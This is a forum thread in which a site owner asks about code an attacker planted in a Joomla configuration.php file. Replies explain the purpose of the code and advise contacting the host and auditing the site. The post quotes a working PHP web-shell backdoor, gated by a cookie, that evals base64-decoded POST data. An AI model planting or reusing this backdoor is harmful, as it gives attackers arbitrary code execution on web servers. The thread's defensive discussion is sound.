hacked joomla

[left19]

My site was hacked. They inserted this into livesite on configuartion.php

if (!empty($_COOKIE['v']) and $_COOKIE['v']=='d'){if (!empty($_POST['c'])) { $d=base64_decode(str_replace(' ','+',$_POST['c']));if($d) eval($d);}
echo '<name=c></textarea>';exit;}

what does it say???

Thanks

[Stefano Mtangoo]

are you PHP developer? You can search each function and get explanations from php manual!

[left19]

are you PHP developer? You can search each function and get explanations from php manual!

no I'm not, that's why I asked you guys.

[Stefano Mtangoo]

So you need to put more explanations.

[mslade]

My site was hacked. They inserted this into livesite on configuartion.php

if (!empty($_COOKIE) and $_COOKIE=='d'){if (!empty($_POST)) { $d=base64_decode(str_replace(' ','+',$_POST));if($d) eval($d);}
echo '<name=c></textarea>';exit;}

what does it say???

Thanks

This lets someone include encoded PHP code in the request, which will be executed on the server. This allows them to execute arbitrary PHP code with the permissions of your web server.

[left19]

Thanks for the answer. And so, how exactly did they get to that configuration.php file?

[Ezzaral]

Sounds like that is exactly what you should be asking your hosting provider.

[mslade]

Thanks for the answer. And so, how exactly did they get to that configuration.php file?

There's plenty of ways attackers can compromise your stuff. Your web app was vulnerable, your network was vulnerable, you're running outdated software, etc. If you're on shared hosting, I agree with the other poster -- talk to your host first.

The important thing is that if you don't identify how they get in and close it up, it'll just happen again. Until you can do a full code audit for other potential changes they made, you can't really trust your website and should still consider it compromised.